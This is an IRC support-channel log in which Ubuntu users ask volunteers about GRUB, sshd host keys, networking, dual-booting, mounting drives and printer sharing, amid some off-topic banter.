[04:47] <cilkay> lowlux: Why does "Ubuntu have to fix this" when "this" has nothing to do with Ubuntu? It's Flash, which is a pain on *every* operating system.
[04:47] <arodd> kbrosnan: they must not be very common
[04:48] <cilkay> Fused: I meant that VMs are pretty good for that use.
[04:48] <kbrosnan> arodd: also flash 10 on x64 is tricky from what i have heard. So checking what kernel people are running would be good too.
[04:48] <kbrosnan> arodd: mostly used in fulscreen flash video
[04:48] <cilkay> Fused: E.g. virtualbox, VMWare Server (free) are a couple of options.
[04:48] <lowlux> ohh the blame game.... why don't linux just come out with there own standard of flash.
[04:49] <arodd> lowlux: theora is the answer...
[04:49] <Fused> Be right back.
[04:49] <kbrosnan> lowlux: svg + <video>
[04:49] <l3d> ok lets say my login window will not let me make any changes to it I mean it does work but it seems to be locked. its there a file i have to get write permissions for to change it ?
[04:49] <danbhfive> lowlux: this is a support room, you should ask your question in #ubuntu-offtopic
[04:49] <powertool08> why can't i create a new host key with a passphrase?
[04:50] <EruditeHermit> hey, does anyone have recommendations for which laptop one should get?
[04:51] <Flannel> EruditeHermit: #ubuntu-offtopic would be the proper place to ask that
[04:51] <AAA> powertool08  you can, just hit enter at the prompt
[04:51] <Greyspacebt3> Dumb question, In the BIOS there are several options concerning SATA's Hard drives and I just got a new computer; and I am baffled by these SATA options,,, I have Three SATA drives of 750 GB's and I want to Duel boot Ubuntu and Vista, Does it matter how I configure the SATA drives in the BIOS?
[04:51] <Bogus8> how do I reset grub to load a previous kernel?
[04:51] <eydaimon> seriously, can noone help me with this? I would think this is pretty fundamental :/
[04:51] <powertool08> AAA: well I can generate one with a passphrase, but sshd won't load it
[04:52] <AAA> Greyspacebt3  linux will hook you up. don't sweat the bios
[04:52] <danbhfive> eydaimon: whats this?
[04:52] <_Tom> eyd
[04:52] <Flannel> Bogus8: just select it in your menu.lst.  If you want to change the default, there's a 'default' selection in the menu.lst
[04:52] <lowlux> hell windows is more stable then this crap... ubuntu is getting worse then windows
[04:52] <powertool08> AAA: $ sudo ssh-keygen -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key
[04:52] <eydaimon> danbhfive: if I go to Administration | network  and change settings, it doesn't work. I end up having to use ifconfig and route to set the IP. how come? what am I doing wrong?
[04:52] <AAA> powertool08  ssh-add /path/to/key
[04:52] <arodd> lowlux: seriously?
[04:52] <Bogus8> Flannel: I only have one :(
[04:52] <eydaimon> danbhfive: network settings, that is
[04:52] <Flannel> Bogus8: You only have one kernel showing?
[04:52] <Flannel> Bogus8: did you remove the old linux-image packages?
[04:52] <Bogus8> Flannel: that's how all other variations I've worked with had worked but I only have one her
[04:52] <Bogus8> e
[04:52] <danbhfive> eydaimon: what version are you using?
[04:52] <l3d> ok lets say my login window will not let me make any changes to it I mean it does work but it seems to be locked. its there a file i have to get write permissions for to change it ?
[04:53] <powertool08> AAA: I use that command, if I give it a passphrase then I get "Could not load host key" if I don't give it a phrase, it works
[04:53] <Bogus8> Flannel: no, I just did a recent apt-get
[04:53] <phantomcircuit> lowlux, you must be doing some very ridiculous shit
[04:53] <Greyspacebt3> AAA thanks,,, but what option did your choose
[04:53] <Flannel> phantomcircuit: Please watch your language
[04:53] <Flannel> Bogus8: Do you have more than one kernel in /boot?
[04:53] <AAA> powertool08  check your ~/.ssh/config and see if you have something preventing that
[04:53] <lowlux> they need to fix what is out now instead of releasing 8.10 9.00 10.00
[04:53] <Bogus8> Flannel: I have a initrd.img-2.6.24-19-server.bak
[04:53] <Prose> so why would a print share spit this out in cups when I try to print :"Session setup failed: NT_STATUS_LOGON_FAILURE"
[04:54] <Flannel> lowlux: Please take it to #ubuntu-offtopic, thanks.
[04:54] <eydaimon> danbhfive: I just installed it now. 8.04 ?
[04:54] <danbhfive> I've had stability issues with ubuntu too....   but it might be my wireless card, but STILL, it freezes my whole system
[04:54] <AAA> Greyspacebt3  I generally ignore those settings entirely
[04:54] <Flannel> Bogus8: but only one actual image?
[04:54] <GomoX> Hey
[04:54] <AAA> Greyspacebt3  YMMV
[04:54] <Bogus8> Flannel: I guess so
[04:54] <GomoX> I could use some help
[04:54] <powertool08> AAA: what would prevent it? example?
[04:54] <Flannel> Bogus8: Uh, that's... different.  What problem are you having then, with said kernel?
[04:54] <Flannel> !ask | GomoX
[04:54] <GomoX> 1) i installed uswsusp and splashy and after removing the packages i lost the ubuntu splash screen
[04:55] <danbhfive> eydaimon: sorry, i have no idea
[04:55] <GomoX> Would like to get it back :)
[04:55] <phantomcircuit> I want to make a list with checkboxes next to the list items in open office, how can i do that?
[04:55] <Bogus8> Flannel: well, an irssi script "broke" after a reboot and I'm trying to narrow down why
[04:55] <AAA> powertool08  not really sure, there shouldn't be anything in that config that would. it was just the first thing I thought of.   you said load into sshd. sshd is the server and doesn't give a damn about your keys. did you mistype?
[04:55] <Greyspacebt3> AAA, I bet you only have one SATA
[04:55] <nnull> anyway to to record desktop to a avi or other common viewable format?
[04:55] <l3d> ok lets say my login window will not let me make any changes to it I mean it does work but it seems to be locked. its there a file i have to get write permissions for to change it ?
[04:55] <Bogus8> Flannel: here is what my apt log says about the kernel update http://www.pastebin.ca/1194401
[04:56] <cilkay> lowlux: Obviously you haven't read "How to Make Friend and Influence People". You don't come into a support channel asking for *free* help for an OS for which you paid nothing and then whine about how bad it is, how Windows is better, how "linux should fix it", as if "linux" were some corporate entity that owed you something. You, sir, are an ignoramus.
[04:56] <eydaimon> danbhfive: alright. thanks for looking
[04:56] <AAA> Greyspacebt3  I have funky configs =p take my advice with a grain of salt.  linux _should_ do the right thing given you have kernel support which I assume you do
[04:56] <eydaimon> danbhfive: but that's how it's supposed to work, right?
[04:56] <deokanon> i guess it`s a bad time to ask a noob question
[04:57] <powertool08> AAA: I'm trying to generate a new HOST key, not a regular key, and when i restart the server it says it could not load the new key, unless I generate it without the passphrase. Do host keys not normally have passphrases and user keys do?
[04:57] <cilkay> deokanon: Not at all.
[04:57] <ekow> Hey does anyone know an effective method of speeding up the boot process?
[04:57] <Flannel> Bogus8: Mmmm, its because the new one is the same... as the old one.  At least, version-wise.  They've switched to doing it that way, and I honestly don't know why.  You can copy the various .bak files to be ther own entries, and then do update-grub
[04:57] <ckyle> ekow: overclocking to 5 Ghz?
[04:57] <Greyspacebt3> AAA How did your underline,, kewl,, What IRC program / application are you using
[04:57] <eydaimon> Flannel: how about you, any ideas?
[04:57] <Flannel> Bogus8: a decent enough entry name would be 2.6.24-19-36 or something
[04:58] <Flannel> Bogus8: that'd be plus whatever the other stuff was,of course.
[04:58] <ekow> ckyle: What is overclocking?
[04:58] <cilkay> deokanon: Most people are generally very nice when they ask and don't whine and their respect is returned with generous support and respect so feel free to ask for help.
[04:58] <AAA> powertool08  that sounds like a permissions issue.  I think you want the key to be 0600 (check me on that) see what ther perms are, they should be very conserved
[04:58] <Bogus8> Flannel: I tried to copy the top entry down to a 4th entry and just add the .bak to the end of the initrd line
[04:58] <danbhfive> eydaimon: you would think.  Personally, once I get my netconnection setup, it doesnt change on me.  So I don't deal with it that much...
[04:58] <AAA> Greyspacebt3  most clients let your use '_'at the beginning and the end'_' like _this_
[04:59] <Greyspacebt3> let see _thank you AAA_
[04:59] <prince_jammys> Greyspacebt3: that was done by your client, not _his_ :)
[04:59] <AAA> Greyspacebt3  happy hacking :)
[04:59] <Greyspacebt3> lol
[04:59]  * Greyspacebt3 thank you
[04:59] <Flannel> Bogus8: Seems like a slim chance that a kernel upgrade would break an irssi script though, to be honest.
[04:59] <eydaimon> danbhfive: I know what you mean. I guess I have to figure out what files to change instead and just not rely on it
[04:59] <ckyle> ekow: I said that somewhat tongue-in-cheek. Overclocking is setting the FSB or multiplier of your cpu to a value higher than it's rated for. Not recommended in most cases, except the occassional enthusiast.
[04:59] <danbhfive> eydaimon: is it changing on every reboot?
[04:59] <nnull> anyway to to record desktop to a avi or other common viewable format?
[05:00] <powertool08> AAA: its not permissions because it works without the passphrase, changed them anyway but it didn't help
[05:00] <Bogus8> Flannel: well, I even created a new user and tried to run the script there and still same error... it worked one day and then power went out and my UPS is apparently shot so I had to "reboot" and after that I started getting the error
[05:00] <eydaimon> danbhfive: I've only booted once, but I don't imagine setting it with ifconfig/route would be persistent without saving the configs somewhere :)
[05:00] <Flannel> Bogus8: did you fsck?
[05:00] <ekow> ckyle: probably not the best idea for laptops eh?
[05:00] <Bogus8> Flannel: don't think so... it's headless so if it was a forced fsck I wouldn't have seen it
[05:01] <AAA> powertool08  ah! look at /etc/sshd/sshd_config (or whatever) and look for the setting that talke about the type of auth you wanna use.  I think that is the deal
[05:01] <ckyle> ekow: correct
[05:01] <cilkay> ckyle: Overclocking is a necessity because four 2.5GHz cores is simply not enough for Vista :)
[05:01] <Flannel> Bogus8: alright, well, try that.  Since power outages do funny things.  sudo touch /forcefsck, and then reboot
[05:01] <ckyle> ;-)
[05:01] <AAA> cilkay  that is a simple fix. install linux or force your user to ;)
[05:02] <_Tom> thats not nice
[05:02] <Bogus8> Flannel: ok, well it's this box... so I'll give it a go and see... I actually have a monitor hooked up right now since that previous grub edit didn't work (reminds me that I need to go fix that ;) )
[05:02] <deokanon> ah thanks cilkay... okay i installed kubuntu on my laptop, i created a partition ntfs and everything was going fine... but then the password that i setup for my user account didnt work.... so i decided to go back in my winxp OS in disk management and formatted every partition that had linux on it... and when i restarted my computer i get an grub error 17 stage 1.5
[05:02] <GomoX> nnull: apt-cache search screencast
[05:02] <nnull> GomoX, will i be able to find it in synaptic or?
[05:02] <Bogus8> "I'll be back" ;)
[05:02] <Flannel> !screencast | nnull
[05:03] <danbhfive> eydaimon: I thought ifconfig saves its stuff in /etc/network/interfaces...
[05:03] <arodd> deokanon: you need to do a fixmbr from your xp install cd
[05:03] <nnull> ty flannel, gomox
[05:03] <cilkay> AAA: But I won't be a l33t haX0r if I don't have a liquid nitrogen CPU cooler and RAM with laser cut heat sinks made of that rarest of alloys that all German cars are made of, Unobtainium.
[05:03] <ekow> I was thinking more along the lines of changing some kind of default settings to magically increase my boot up time significantly =)
[05:03] <AAA> cilkay  but you can pretend to be one on the internet!
[05:04] <Greyspacebt3> I have Three SATA drives, Windows sees all of them and wants me to configure them before I can USE ALL three SATA, forcing me to make a choice,,, to MIRROR and other configurations.. etc
[05:04] <Greyspacebt3> Ok, I'll do it the hard way and read
[05:04] <AAA> ekow  hack your bios!!!
[05:04] <powertool08> AAA: I don't get it, my sshd_config was working fine, the only thing i've done is delete all my keys and try to generate new ones
[05:04] <eydaimon> danbhfive: looks like it's got good stuff in there. well, I'll see on reboot. I don't think my freebsd machine stores it anywhere, and it's been awhile since I used debian stuffs :P
[05:04] <arodd> Greyspacebt3: try not to initialize as dynamic
[05:04] <AAA> Greyspacebt3  step 1) remove windows
[05:04] <Greyspacebt3> lol
[05:05] <Greyspacebt3> AAA I am in College, I need windows
[05:05] <AAA> powertool08  and you restared sshd and it still pukes? did you turn on mad debugging? -ddd _I think_
[05:05] <Cycom> Greyspacebt3: for what?
[05:05] <ckyle> step 2: burn your Windows cd and swear allegiance to lINUX
[05:05] <Greyspacebt3> Arood,, thank you for that
[05:05] <AAA> Greyspacebt3  bah!!
[05:05] <cilkay> deokanon: I presume you want to boot into Windows now. You'll have to restore the master boot record so that Windows will boot. Grub is attempting to find a boot image on a partition that no longer exists.
[05:05] <Cycom> Greyspacebt3: seriously. What do you need windows for?
[05:05] <AAA> Greyspacebt3  does your college have a citrix network with doze apps?
[05:05] <Greyspacebt3> CYCom, all the Electronic programs
[05:06] <Cycom> Greyspacebt3: ah, bummer. Real applications.
[05:06] <Greyspacebt3> that the College requires
[05:06] <Cycom> wait, like for classes?
[05:06] <AAA> Greyspacebt3  make them give it to you over some middleware then
[05:06] <Greyspacebt3> Like for Circuit creation and more
[05:06] <powertool08> AAA: I've been starting it with sudo /etc/init.d/ssh start, how do I add -ddd to this?
[05:06] <Cycom> oh, ok
[05:06] <deokanon> cilkay tell how i go about that, ive tried the multiple boot menu and put in my xp install cd but nothing seems to work... i even tried network booting but i always end up on the screen where the erro 17 is displayed :(
[05:07] <AAA> powertool08  restart
[05:07] <Greyspacebt3> You have to pass knowing the Applications
[05:07] <ckyle> There are several linux apps for circuit creation
[05:07] <AAA> powertool08  sorry
[05:07] <Tempusrname> Hey i have a problem when i removed a UBUNTU harddrive from one machine and put it in another machine to boot
[05:07] <Greyspacebt3> I know,, they aren't on the College course list
[05:07] <nullHead|busy> when's the new ISO supposed to be out?
[05:07] <AAA> powertool08  so just start sshd with option that run it in the foreground in debug mode, use the --help to find them
[05:07] <Flannel> Greyspacebt3: What sort of circuit creation are you talking about?  SPICE? Eagle?
[05:08] <AAA> powertool08  it will run in your term and you can see the details of the breakage
[05:08] <Flannel> nullHead|busy: For intrepid?  #ubuntu+1 for intrepid questions
[05:08] <Greyspacebt3> and they are very old.. Spice Eagel
[05:08] <Flannel> Greyspacebt3: spice is in the repos.  EAGLE is available for linux, although only in a bin I believe, you'd have to check cadsoft's page.
[05:08] <Tempusrname> when i put a existing harddrive with ubuntu 7.10 installed into another box and booted it would boot find till it got to running local scrips it would just stay there and not move further in the boot. Should i reconfigure xorg?
[05:09] <Greyspacebt3> Microchip,,, workbench
[05:09] <Tempusrname> fine^ not find
[05:09] <AAA> Tempusrname  edit your /etc/fstab and comment# out the drive that doesn't exist any more
[05:09] <Greyspacebt3> I have to reboot,,, there are tons of courses and software that must be used in the next four years
[05:09] <cilkay> deokanon: http://www.markwilson.co.uk/blog/2006/04/restoring-windows-xp-master-boot.htm found via: http://www.google.com/search?client=opera&rls=en&q=restore+master+boot+record+windows+linux&sourceid=opera&ie=utf-8&oe=utf-8
[05:10] <Greyspacebt3> I have tried wine and it doesn't always work
[05:10] <AAA> Greyspacebt3  ON LINUX!!! :)
[05:10] <prince_jammys> !grub
[05:10] <Tempusrname> AAA i am right now in recovery mode so what exactly do i do? (i'm bad at terminal)
[05:10] <deokanon> hey cilkay.. thanks.. i jus talked to someone in the kubuntu channel and they told me exactly what you told me to do... thanks dude will do
[05:10] <cilkay> Have fun.
[05:11] <AAA> Tempusrname  ok. first lets see how you are set. touch /tmp/test
[05:11] <cilkay> Greyspacebt3: For those few Windows apps you might have to run, you can run Windows in Virtualbox or Qemu just fine.
[05:11] <AAA> Tempusrname  does that create a new file in the /tmp dir?
[05:11] <Kira[work]> good day
[05:11] <gallardo> hi
[05:11] <Tempusrname> AAA it gives me a permission denied
[05:11] <powertool08> AAA: I think I found it: debug3: Not a RSA1 key file /etc/ssh/ssh_host_rsa_key.
[05:12] <prince_jammys> People have hard drives with tons of space nowadays. There's no reason they shouldn
[05:12] <AAA> Tempusrname  ok, you are prolly mounted in read-only mode
[05:12] <AAA> powertool08  sweet!
[05:12] <Tempusrname> Oh
[05:12] <cilkay> Greyspacebt3: if you have a machine with the x86 virtualization extensions, VT for Intel, I forget what for AMD, you can run Windows at native speed using kvm and qemu.
[05:12] <Tempusrname> How do i get out AA
[05:12] <prince_jammys> ... 't install windows if they have it, and they want to.
[05:12] <AAA> Tempusrname  you need to mount your shit rw to fix this
[05:12] <powertool08> AAA: I want ssh2 tho so I don't want the rsa1 key
[05:12] <Tempusrname> How do i get out AAA
[05:12] <Kira[work]> I'm reading an Apache + suExec + Fastcgi + PHP HOWTO here: http://ubuntuforums.org/showthread.php?t=341164
[05:12] <AAA> Tempusrname  hang with me, I'll tell you :)
[05:12] <Flannel> Kira[work]: What's wrong with regular LAMP?
[05:12] <Kira[work]> The guy mentions "starter script", but doesn't say what file name I should give it.
[05:13] <Greyspacebt3> cilkay http://pastebin.com/m95a3650
[05:13] <AAA> Tempusrname  mount -o remount, rw /
[05:13] <Tempusrname> AAA k, there is a 100% chance not to lose the files right? There is important pictures
[05:13] <Greyspacebt3> cilkay,, the perfect machine
[05:13] <Legendario> every time I turn on my computer, it uses gtk theme instead of emerald. Then i have to type "emerald --replace" on terminal. Does anyone knows how to correct it?
[05:13] <AAA> Tempusrname  I will keep that in mind, I won't lead you in the wrong way
[05:13] <Kira[work]> Flannel: suexec is more secure (when configured correctly) for the overall system, no?
[05:13] <Tempusrname> k thanks AAA
[05:13] <AAA> Tempusrname  mount -o remount, rw /
[05:14] <Tempusrname> AAA did that, was i supost to see any text scrolling?
[05:14] <AAA> Tempusrname  that should remount your disk in read-write mode
[05:14] <cilkay> Greyspacebt3: Oh, you're one of those liquid nitrogen cooled CPU guys :) Yes, that machine will work very well. More RAM, of course, will be better if you intend to run Vista in the VM.
[05:14] <AAA> Tempusrname  now touch /tmp/test again
[05:15] <cilkay> Greyspacebt3: And you'll need the appropriate version of Vista (not Home Basic but don't recall which one) to run it in a virtual machine, if you care about running Vista at all.
[05:15] <Tempusrname> AAA do i include touch or just /tmp/test
[05:15] <Flannel> Kira[work]: That depends on a bunch of variables.  Whatare you going to be doing with your server?
[05:15] <AAA> Tempusrname  $> touch /tmp/test
[05:15] <Greyspacebt3> More RAM ,, it have 4 GB RAM and 2.5 TB Hard drive
[05:15] <AAA> Tempusrname  "$>" is your prompt
[05:15] <Tempusrname> AAA  all it does is goes to another text promt nothing else
[05:16] <amenado> whose familiar with creating udev rules? can you assist me with it? do you know if it can use same info as lshal does? my rules seem to not make a difference
[05:16] <Greyspacebt3> Ok, cilkay thanks for your help
[05:16] <OmgItsAshark> ﻿hey guys i just downloaded the openoffice.tar.gz it is currently sitting on my desktop what is the command to install it??
[05:16] <AAA> Tempusrname  $>  ls -l /tmp/test
[05:16] <cilkay> Greyspacebt3: Oh, I thought I only saw 2GB. 4GB should be enough then.
[05:16] <cilkay> OmgItsAshark: Don't install that one.
[05:16] <AAA> Tempusrname  if it gives you info, that is good just tell me
[05:16] <amenado> OmgItsAshark-> thats a source file? you have to then compille it. pick up a binary instead
[05:17] <cilkay> OmgItsAshark: OOo is in the Ubuntu repo, install that.
[05:17] <Tempusrname> AAA it says -rw-r--r-- 1 root root 0 sept 4 22:15 /tmp/test
[05:17] <phayz> can anyone tell me what package provides the following menu option -> System -> Administration -> Services ??
[05:17] <ckyle> I have 8GB DDR2 on my box... _just_ to make sure it will run Vista smoothly.
[05:17] <Greyspacebt3> cilkay there was only two orders of Ram but it comes two to a package,, you ok
[05:17] <Greyspacebt3> ckyle
[05:17] <Greyspacebt3> nice
[05:17] <AAA> Tempusrname  excellent! now do $> vim /etc/fstab
[05:17] <Apriansyah> met puasa
[05:17] <Greyspacebt3> ckyle how much hard drive do you have
[05:17] <Tempusrname> alright AAA done
[05:17] <OmgItsAshark> im trying to install it on xubuntu but nobody is in there channel right now.. where would i find the right open office to install
[05:18] <cilkay> Greyspacebt3: That machine would make a good Hackintosh too.
[05:18] <amenado> OmgItsAshark-> use the synaptic to download the app
[05:18] <AAA> Tempusrname  on now you need to /query AAA and paste all that into private chat, and I'll help you
[05:18] <Tempusrname> How can i paste that? Its on a diffrent machine
[05:18] <Greyspacebt3> Its my BACK TRACK Three machine cilkay
[05:19] <Greyspacebt3> cilkay wink wink
[05:19] <OmgItsAshark> amenado | i have no idea what that means
[05:19] <cilkay> Whatever that is.
[05:19] <OmgItsAshark> im way new to this stuffs o i am not sure what you mean by that
[05:19] <AAA> Tempusrname  look at your new chat window
[05:19] <VanessaE> ok, leaving the SD card aside for the moment.   I also need to "share" this printer such that my husband's computer can print to it also. It's already set up and working beautifully on my box, but I can't figure out how to get my husband's box to see it.  Both machines run Kubuntu.
[05:19] <dsl913> can i use damn small linux to edit files on a hard drive after booting from a cd ?
[05:19] <Greyspacebt3> cilkay google remote-exploit
[05:19] <ckyle> Greyspacedbt3: dual velociraptors ... only 600GB,.. but fast.
[05:19] <VanessaE> dsl913, generally, yes, if the files aren't sensitive to end-of-line marks
[05:19] <amenado> OmgItsAshark-> click on Applicatins->Add/Remove and search for openoffice
[05:19] <VanessaE> (DOS/windows uses a different code than Unix/Linux)
[05:19] <amenado> dsl913-> yes
[05:20] <dsl913> how?
[05:20] <VanessaE> mount the drive somewhere and edit the file :-)
[05:20] <amenado> dsl913-> if dsl has vim use that or pico ?
[05:20] <cwillu> VanessaE, I can't say for sure under kubuntu, but under ubuntu, under printing | server, you tell it to publish connected printers, and then on the other computer, you tell it to show remotely published printers, and it should show up in a few minutes
[05:20] <VanessaE> e.g. mkdir /mnt/mydrive && mount /dev/hda1 /mnt/mydrive
[05:20] <cilkay> ckyle: if you're running 32 bit Vista, it will NOT use more than 3GB. In a recent Service Pack, MS added code to report more than 3GB but the OS can still only use up to a maximum of 3GB. For an OS that needs 2GB to be comfortable, 3GB doesn't seem like much headroom, does it?
[05:20] <Greyspacebt3> Cilkay,,, join " remote-exploit " on IRC
[05:20] <cwillu> VanessaE, so look for 'publishy' type settings under the printing menus :p
[05:20] <dsl913> so am i root on the live cd?
[05:21] <amenado> yes
[05:21] <amenado> well if you sudo
[05:21] <_Tom> Greyspacebt3, what server is remote exploit on?
[05:21] <Greyspacebt3> Freenode
[05:21] <Kira[work]> Flannel: multiple web applications (PHP and Servlet) written by different teams of people, with online payment functionality. Possible multiple virtual hosts.
[05:21] <_Tom> Greyspacebt3, thanks
[05:21] <powertool08> AAA: http://paste.ubuntu.com/43537/ I'm confused, I don't want to use ssh v1 because of vulnerabilities, and adding a passphrase to my host key shouldn't change whether its rsa1 or rsa
[05:21] <ckyle> cilkay: i sent in the requisite $10.95 for the privilege of getting the 64-bit bit Vista DVD... that IMHO should've been in the box to begin with.
[05:21] <VanessaE> cwillu, I'm looking...and getting lost :-/
[05:21] <Greyspacebt3> just JOIN remote-exploit and your there
[05:22] <Greyspacebt3> I assuming that your one freenode
[05:22] <dsl913> tried mkdir, got permission denied
[05:22] <Greyspacebt3> TOM
[05:22] <Greyspacebt3> your welcome
[05:22] <cwillu> dsl913, sudo ...
[05:22] <cilkay> ckyle: You're a rare bird. Most people are running 32 bit Vista blissfully ignorant to how crippled a system they have.
[05:22] <AAA> powertool08  lemme look
[05:22] <cwillu> VanessaE, you might have more luck in #kubuntu re: printing settings
[05:22] <VanessaE> yeah, I suppose I should look there :)
[05:23] <ckyle> cilkay: such sadness in the world...
[05:23] <Skidu> what's the command to launch the screen resolution dialog?
[05:24] <Skidu> I have a badly adjusted monitor and all my menus are off the screen, but if I can launch it I can get it under control
[05:24] <ckyle> gnome-display-properties
[05:24] <dsl913> where does the filesystem type go in a mount command?
[05:24] <Skidu> thanks
[05:24] <AAA> powertool08  your sshd wants ssh v1 (RSA) and your private key is ssh 2 (DSA). I missed the output earilear, do you have an DSA key? if so that is the problem
[05:24] <cwillu> dsl913, -t <type>
[05:24] <amenado> dsl913-> after the option -t
[05:25] <amenado> whose familiar with creating udev rules? can you assist me with it? do you know if it can use same info as lshal does? my rules seem to not make a difference
[05:25] <Skidu> hrm. that wasn't it...
[05:25] <Greyspacebt3> TOM Read the WIKI First,, is the best way to get started..
[05:25] <powertool08> AAA: how can i make it want a ssh 2 key only, no i don't have a DSA key yet but I did earlier and it failed too, I'll generate one and see what changes
[05:26] <Greyspacebt3> ALL Thank you  * ALL *
[05:26] <Skidu> how do I force it to use a higher res than it thinks the monitor can han dle?
[05:26] <Greyspacebt3> I am going to apply what I have learned
[05:26] <Fused> Does anyone know where I can get the latest bcm43xx driver?
[05:26] <Fused> I need to get it, so I can do a fresh install of Ubuntu.
[05:26] <AAA> powertool08  the is in your sshd_config
[05:27] <Greyspacebt3> AAA I don't know what my sshd_config is ,,,
[05:27] <Greyspacebt3> lol
[05:27] <Greyspacebt3> Thanks AAA
[05:27] <Greyspacebt3> I'll be back in two days
[05:27] <Greyspacebt3> to let you know how the Ubuntu install went
[05:28] <Bogus8> Flannel: well, fsck didn't help :(
[05:28] <Skidu> I have a perfectly good monitor, how do I convince ubuntu that it can run 1600x1200/
[05:28] <AAA> Greyspacebt3  oops, wrong nic ;)
[05:28] <prince_jammys> !fixres | Skidu
[05:28] <Greyspacebt3> lol
[05:29] <AAA> powertool08  it is in your sshd_config
[05:29] <Skidu> thanks
[05:29] <celia_tux> how can grep can just tell me  (by true or false) if has found a match in a file?
[05:29] <AAA> powertool08  you tell it to all ssh 1,2
[05:29] <dsl913> i guess i can't mount my filesystem because jfs is not supported by the kernel
[05:30] <prince_jammys> celia_tux: if grep -q pattern filename; then echo "It's there"; fi
[05:30] <powertool08> AAA: which line specifically? I have it set to Protocol 2 in the protocol section
[05:30] <Cpudan80> celia_tux: The exit code, exits 1 if no match
[05:30] <celia_tux> thanks prince
[05:30] <AAA> powertool08  debug3: Not a RSA1 key file /etc/ssh/ssh_host_rsa_key. it is asking for proto 1
[05:30] <error404notfound> the port 53 is used for what? is it for dns-query on dns server/
[05:30] <Chaplin2> hello
[05:31] <prince_jammys> celia_tux: welcome. it's like Cpudan80 said
[05:31] <Chaplin2> i have one hard drvie
[05:31] <Chaplin2> vista is currently on it
[05:31] <Chaplin2> and about to install ubunutiu
[05:31] <FloodBot2> Chaplin2: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[05:31] <Chaplin2> what do i do
[05:31] <Chaplin2> guided resize?
[05:31] <jtmoney> yes
[05:31] <powertool08> AAA: http://paste.ubuntu.com/43543/ both rsa & dsa keys fail
[05:32] <jtmoney> Chaplin2: and pray to FSM for guidance
[05:32] <Cpudan80> celia_tux: It exits 2 if there is an error btw
[05:32] <AAA> powertool08  looking
[05:32] <Chaplin2> ok and i wont lose anything from windows right?
[05:32] <powertool08> AAA: I saw that, why is it asking for protocol 1? my sshd_config says protocol 2 only
[05:32] <Chaplin2> whats a good amount of space
[05:32] <Chaplin2> to use?
[05:32] <Chaplin2> considering i wont have many large files
[05:32] <_Tom> for what?
[05:32] <AAA> powertool08  did you stop it first?
[05:33] <_Tom> Chaplin2, how big is your HD, how big is windows
[05:33] <celia_tux> thanks ﻿Cpudan80
[05:33] <Chaplin2> 250 gb
[05:33] <bobertdos> Chaplin2: you shouldn't -- 15-20 Gigs is usually enough, unless you have HUGE videos or something.
[05:33] <powertool08> AAA: yes
[05:33] <Chaplin2> ok 29 gig
[05:33] <Chaplin2> 20
[05:33] <_Tom> I would reccomend 20 GB Chaplin2
[05:33] <Chaplin2> so now its going to repartioin drive
[05:33] <Chaplin2> i wont losr anything right?
[05:34] <Chaplin2> lose
[05:34] <Kurt> you'll need a linux-swap partition as well
[05:34] <Chaplin2> linux swap partition?
[05:34] <_Tom> Chaplin2, ubuntu has no problem reading ntfs, so you can still store stuff on the win partitions
[05:34] <Chaplin2> how do i make that?
[05:34] <Chaplin2> also
[05:34] <bobertdos> Chaplin2: You can do it in the wizard with the rest of the installatiion.
[05:34] <_Tom> it should be part of the "guided resize" thing
[05:34] <Chaplin2> im using desptop version
[05:35] <_Tom> thats OK
[05:35] <Chaplin2> but want to start learning for the server edition
[05:35] <Chaplin2> is there a big difference?
[05:35] <Cpudan80> no - no difference at all
[05:35] <Kurt> lol yes
[05:35] <Kurt> I would call X a difference
[05:35] <Flannel> Chaplin2: You can learn the server edition while still having the desktop edition installed.
[05:35] <Cpudan80> Chaplin2: Just dont use X
[05:35] <bobertdos> Chaplin2: You'll basically want to get really comfortable with the command line.
[05:35] <Chaplin2> whats X?
[05:35] <AAA> powertool08  run it in debug mode again and paste the output
[05:35] <Cpudan80> Chaplin2: the graphical env
[05:35] <Chaplin2> ok
[05:35] <_Tom> point + click
[05:35] <_Tom> eh
[05:36] <celia_tux> heyyy prince?!
[05:36] <AAA> powertool08  and also, for fun do this $> netstat -lt| grep ssh
[05:36] <Cpudan80> Chaplin2: If you hit CTRL+F1 you get a plain prompt, which is basically what server would be
[05:36] <Chaplin2> ok
[05:36] <Cpudan80> Chaplin2: CTRL+F7 (or maybe F8) to return to normal mode
[05:36] <cilkay> Chaplin2: If you care about preserving that Vista installation, don't resize that drive just yet. I'm going to try to find a post to the local LUG mailing list a friend made recently.
[05:36] <bobertdos> Chaplin2: So practice on the Desktop edition first, and switch when you feel you're ready.
[05:36] <Chaplin2> ok will do, so im partioning now
[05:36] <chino> isn't there a setting to stop the mouse pad from reacting within a certain delay of a keystroke ?
[05:36] <Chaplin2> 30 gig
[05:36] <Chaplin2> i think it will take a while
[05:36] <Flannel> Chaplin2: you can run any servers you want from a desktop install.  There's no need to dual boot, that's a waste of harddrive space.
[05:36] <Chaplin2> ok
[05:37] <Flannel> Chaplin2: Linux doesn't differentiate between "desktops" and "servers" they're just programs that are being run.
[05:37] <Kurt> I've never done the guided resize option (always manual)...I assume it sets a good amount of swap for you?
[05:37] <Chaplin2> ok so in server mode no gui
[05:37] <Chaplin2> which means less resources
[05:37] <Kurt> yes, server install takes up very little space compared to desktop install
[05:38] <celia_tux> how can this script tell me that just 'lala' has been found (not lal or la or al...) --- command: if grep -q 'lala' /var/log/auth.log; then echo "It's there"; fi
[05:38] <bobertdos> Chaplin2: What Flannel says is true, but I guess I'm just saying, if you ever end up being forced in to server-only, you just have to get used to less "luxuries."
[05:38] <jtmoney> uhm, the kernel is different for the server edition
[05:38] <Chaplin2> ok
[05:38] <jtmoney> but yeah, it shouldn't matter either way
[05:38] <powertool08> AAA: stopped it and started again, get this: http://paste.ubuntu.com/43546/
[05:38] <Chaplin2> amd a;sp in ext3, its hard to get a file back if you delete right?
[05:38] <Flannel> jtmoney: The kernel has different settings, and they only affect hardware compatability and performance.
[05:38] <Chaplin2> also*
[05:38] <rredd4> installing hardy on sdb.  Will grub install on sda or do i have to do something to make it go to sda?
[05:38] <Kurt> celia_tux: That script should do it as is...does it not?
[05:39] <ASrock> i installed fedora on a second hard drive and it wrote over my ubuntu grub settings so i cant boot into ubuntu any more, how can i restore it?
[05:39] <powertool08> AAA: netstat command returns nothing
[05:39] <baiano> tem algum brasileiro nisso aqui?
[05:39] <prince_jammys> !br | baiano
[05:40] <Chaplin2> also, if i want to do a clean wipe of both windows and nux
